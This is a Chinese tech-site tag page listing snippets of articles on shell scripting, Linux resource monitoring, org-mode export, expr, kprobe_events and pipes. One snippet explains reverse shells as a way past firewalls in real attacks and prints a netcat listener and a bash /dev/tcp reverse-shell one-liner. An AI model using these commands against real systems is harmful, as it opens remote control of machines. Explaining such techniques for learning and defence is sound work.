草庐IT

shell-mode

全部标签

Linux【脚本 04】Shell脚本传递参数的4种方式(位置参数、特殊变量、环境变量和命名参数)实例说明

脚本传递参数的4种方式1.Shell基础知识1.1解释器1.2变量1.3参数1.4条件语句1.5循环语句1.6函数1.7输入输出1.8命令执行1.9运算符2.参数传递2.1位置参数2.2特殊变量2.3环境变量2.4命名参数2.4.1getopts2.4.2getopt3.总结Shell脚本是一种命令语言,可以用于自动化执行各种任务。在脚本中,我们可以通过参数来传递信息,这样脚本就可以根据这些信息来执行特定的操作。本文将介绍如何在shell脚本中传递参数,包括位置参数、特殊变量、环境变量和命名参数。1.Shell基础知识1.1解释器#!/bin/bash称为shebang或sha-bang、ha

linux获取内存与cpu使用率(附有C语言源码与shell脚本)

一、获取内存信息的方法linux内核提供了一种通过/proc文件系统来在运行时访问内核内部数据结构,改变内核设置的机制,各种硬件平台上的linux系统的/proc文件系统的基本概念都是相同的。/proc文件系统是一种内核和内核模块用来向进程发送信息的机制。这个伪文件系统可以和内核内部的数据结构进行交互,获取实时的进程信息。注意,/proc文件系统是存储与内存而不是硬盘,/proc虚拟文件系统实质是以文件系统的形式访问内核数据的接口。/proc/meminfolinux系统中/proc/meminfo这个文件用来记录了系统内存使用的详细情况。其中top,free命令中的数据是通过这个文件中的信息

c++ - org-mode 导出 html 时无法高亮 C++ 源代码

我使用的是org-modeV7.8.09。当我尝试将以下c++代码块导出到html时,#+begin_srcc++inta=1;intb=1;printf("%d\n",a+b);#+end_src消息失败org-babel-expprocessing...font-lock-fontify-keywords-region:Symbol'svalueasvariableisvoid:font-lock-end-statement-face`有趣的是,如果我声称它是python代码,它会成功导出...#+begin_srcpythoninta=1;intb=1;printf("%d\n"

c++ - org-mode 导出 html 时无法高亮 C++ 源代码

我使用的是org-modeV7.8.09。当我尝试将以下c++代码块导出到html时,#+begin_srcc++inta=1;intb=1;printf("%d\n",a+b);#+end_src消息失败org-babel-expprocessing...font-lock-fontify-keywords-region:Symbol'svalueasvariableisvoid:font-lock-end-statement-face`有趣的是,如果我声称它是python代码,它会成功导出...#+begin_srcpythoninta=1;intb=1;printf("%d\n"

shell中expr算数运算符使用

exprexpr(evaluateexpressions),表达式求值1.1整数求值表达式直接使用expr1+1就能得到结果2,需要注意的是:运算符、每个数字之间都是要有空格的,不然就是一个字符串;使用乘号的时候要使用转义符号\*;四则运算中,使用了小括号(),也需要转义\(1+1\);只对整数进行运算。还可以直接把结果赋值给变量(在交互式shell):res=`expr1+1`echo$resecho`expr2\*3`#这里一定要转义符expr2\*3#不要echo,这样写也是可以直接出结果echo`expr\(10+10\)\*2`#符号与数字之间也一定要转义符Tips:整个表达式是要用

shell中expr算数运算符使用

exprexpr(evaluateexpressions),表达式求值1.1整数求值表达式直接使用expr1+1就能得到结果2,需要注意的是:运算符、每个数字之间都是要有空格的,不然就是一个字符串;使用乘号的时候要使用转义符号\*;四则运算中,使用了小括号(),也需要转义\(1+1\);只对整数进行运算。还可以直接把结果赋值给变量(在交互式shell):res=`expr1+1`echo$resecho`expr2\*3`#这里一定要转义符expr2\*3#不要echo,这样写也是可以直接出结果echo`expr\(10+10\)\*2`#符号与数字之间也一定要转义符Tips:整个表达式是要用

shell的正向和反向

正向shell和反向shell正向shell:控制端主动发起连接去连接被控制端反向shell:被控制端主动连接控制端在实战中,大多数采用反向shell,因为正向shell有很多因素导致连接失败,比如说硬件设备有防火墙,入侵防御系统等,还有网站防火墙,端口占用,权限不足等场景,特别是硬件设备如果你正向连接被防火墙拦截导致打草惊蛇,后期攻击相当繁琐。反向shell:而被控制端主动向外发送的数据包通常都不会被拦截。反向shell如下Linux常见反向shellbash反弹shellnc-lvp4444bash-i>&/dev/tcp/192.168.11.12/44440>&1nc反弹shellnc

kprobe_events shell模式使用教程

kprobe_eventsshell模式使用教程kprobe使用前提需要内核启用以下配置CONFIG_KPROBES=yCONFIG_HAVE_KPROBES=yCONFIG_KPROBE_EVENT=ykprobe_eventskprobe_events有两种类型:kprobe,kretprobekprobe_evnets规则添加的入口:/sys/kernel/debug/tracing/kprobe_eventskprobe在函数调用时进行探测,可以用来判断函数是否被调用以及调用函数的传参值是什么.用法:echo"p:probe1input_eventtype=%x1code=%x2val

c++ - 编写我自己的 shell ...卡在管道上?

在过去的几天里,我一直在尝试编写自己的shell实现,但我似乎一直无法让管道正常工作。我能够解析一行并单独fork管道之间的命令(例如:ls|sort),但似乎无法让它们将输入从一个管道传输到另一个管道。我想我只是不明白如何正确使用dup2()和管道。我现在已经包含了我仍然失败的代码...:(所以卡住了...voidforkAndExecute(char*arrayOfWords[],vector*vectorOfPIDs,boolhasNextCmd,boolhasPrevCmd){intfd[2];pid_tpid;if(hasNextCmd){pipe(fd);}pid=fork

c++ - 编写我自己的 shell ...卡在管道上?

在过去的几天里,我一直在尝试编写自己的shell实现,但我似乎一直无法让管道正常工作。我能够解析一行并单独fork管道之间的命令(例如:ls|sort),但似乎无法让它们将输入从一个管道传输到另一个管道。我想我只是不明白如何正确使用dup2()和管道。我现在已经包含了我仍然失败的代码...:(所以卡住了...voidforkAndExecute(char*arrayOfWords[],vector*vectorOfPIDs,boolhasNextCmd,boolhasPrevCmd){intfd[2];pid_tpid;if(hasNextCmd){pipe(fd);}pid=fork